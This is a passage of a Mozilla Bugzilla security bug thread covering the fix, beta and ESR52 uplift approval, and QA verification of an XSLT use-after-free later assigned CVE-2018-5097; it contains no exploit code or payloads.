Please request beta/esr52 uplift when you get a chance.
|
|
||
Updated•7 years ago
|
Status: NEW → RESOLVED
Closed: 7 years ago
Resolution: --- → FIXED
|
|
||
Updated•7 years ago
|
Group: dom-core-security → core-security-release
|
|
||
Comment 35•7 years ago
|
||
Peter: does this patch apply as-is to beta and ESR52? Please request uplift approval when a patch is ready.
Flags: sec-bounty? → sec-bounty+
|
|
||
Comment 36•7 years ago
|
||
AFAICT, this'll need rebased patches for both Beta and ESR52. And soon since there's only ~1 week left in the 58 cycle before we start building release candidates.
|
|
Assignee | |
Updated•7 years ago
|
Attachment #8896235 -
Attachment description: Simpler testcase → Simpler testcase (requires fuzzPriv)
|
|
Assignee | |
Comment 37•7 years ago
|
||
|
|
Assignee | |
Comment 38•7 years ago
|
||
Attachment #8941417 -
Attachment is obsolete: true
|
|
Assignee | |
Comment 39•7 years ago
|
||
Comment on attachment 8926320 [details] [diff] [review]
v1.1
Approval Request Comment
[Feature/Bug causing the regression]: XSLT
[User impact if declined]: security bug (UAF)
[Is this code covered by automated tests?]: yes
[Has the fix been verified in Nightly?]: no
[Needs manual test from QE? If yes, steps to reproduce]: yes, use a fuzzer build, set pref security.data_uri.unique_opaque_origin to true, load https://bugzilla.mozilla.org/attachment.cgi?id=8941418, verify that the tab doesn't crash (there will be a JS error)
[List of other uplifts needed for the feature/fix]: none
[Is the change risky?]: not very risky
[Why is the change risky/not risky?]: confined to XSLT code, just avoids exposing the source document to script
[String changes made/needed]: none
[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration: sec:high
User impact if declined: security bug (UAF)
Fix Landed on Version: 59
Risk to taking this patch (and alternatives if risky): could break XSLT usage, but fairly unlikely and limited to XSLT
String or UUID changes made by this patch: none
Flags: needinfo?(peterv)
Attachment #8926320 -
Flags: approval-mozilla-esr52?
Attachment #8926320 -
Flags: approval-mozilla-beta?
|
|
Assignee | |
Comment 40•7 years ago
|
||
(In reply to Ryan VanderMeulen [:RyanVM] from comment #36)
> AFAICT, this'll need rebased patches for both Beta and ESR52.
This doesn't need a rebased patch for beta at least (and likely same for ESR). Attachment 8925171 [details] [diff] isn't needed on branches.
|
||
Comment 41•7 years ago
|
||
Comment on attachment 8926320 [details] [diff] [review]
v1.1
UAF fix. Beta58+ & ESR52+.
Attachment #8926320 -
Flags: approval-mozilla-esr52?
Attachment #8926320 -
Flags: approval-mozilla-esr52+
Attachment #8926320 -
Flags: approval-mozilla-beta?
Attachment #8926320 -
Flags: approval-mozilla-beta+
|
|
||
Comment 42•7 years ago
|
||
| uplift | ||
|
|
Assignee | |
Comment 44•7 years ago
|
||
Flags: needinfo?(peterv)
|
|
||
Comment 45•7 years ago
|
||
| uplift | ||
|
||
Updated•7 years ago
|
Flags: qe-verify+
|
||
Comment 46•7 years ago
|
||
I have managed to reproduce the issue mentioned in comment 0 using Firefox 57.0a1 (BuildId:20170804000129) ASAN fuzz build.
This issue is verified fixed using Firefox 59.0a1(BuildId:20180112112625), Firefox 59.0b1 (buildId:20180112191439) and Firefox 52.6.0 esr (BuildId:20180111183935) using Ubuntu 16.04 64bit.
Status: RESOLVED → VERIFIED
Flags: qe-verify+
|
|
||
Updated•7 years ago
|
Whiteboard: [adv-main58+][adv-esr52.6+]
|
||
Comment 47•7 years ago
|
||
i've filed bug 1430818 for a low volume crash that appears to happen in the code touched by the patch here.
|
|
||
Updated•7 years ago
|
Alias: CVE-2018-5097
|
|
||
Updated•6 years ago
|
Group: core-security-release
|
||
Updated•9 months ago
|
Keywords: reporter-external
You need to log in
before you can comment on or make changes to this bug.
Description
•